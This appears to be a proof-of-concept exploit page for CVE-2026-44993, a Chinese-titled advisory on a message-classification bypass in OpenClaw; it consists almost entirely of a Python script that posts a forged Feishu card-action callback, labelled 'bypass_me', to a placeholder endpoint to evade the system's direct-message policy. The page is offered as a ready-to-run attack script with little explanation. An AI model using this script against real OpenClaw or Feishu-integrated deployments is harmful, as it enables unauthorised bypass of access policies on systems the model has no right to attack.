CVE-2026-44993 OpenClaw消息分类绕过漏洞

import requests # Exploit Title: OpenClaw Direct Message Misclassification PoC # Description: Demonstrates bypassing dmPolicy by sending a card action # that the system misclassifies as a group conversation. def exploit(target_url, token): headers = { "Content-Type": "application/json" } # Simulated callback payload for a Feishu card action # The vulnerability relies on the server mishandling the chat_type context. payload = { "schema": "2.0", "header": { "event_id": "ev_poc_123", "event_type": "im.message.receive_v1", "create_time": "1620000000000", "token": token, "app_id": "cli_a1b2c3d4" }, "event": { "tenant_key": "test_tenant", "app_id": "cli_a1b2c3d4", "message": { # In a vulnerable system, this direct message context is ignored # or treated as a group chat context, bypassing dmPolicy. "chat_type": "dm", "msg_type": "interactive", "content": "{\"type\":\"card\",\"data\":{\"action\":\"bypass_me\"}}" } } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] PoC sent successfully. Check if policy was bypassed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "https://openclaw-target.example.com/api/callback" verify_token = "your_verification_token" exploit(target, verify_token)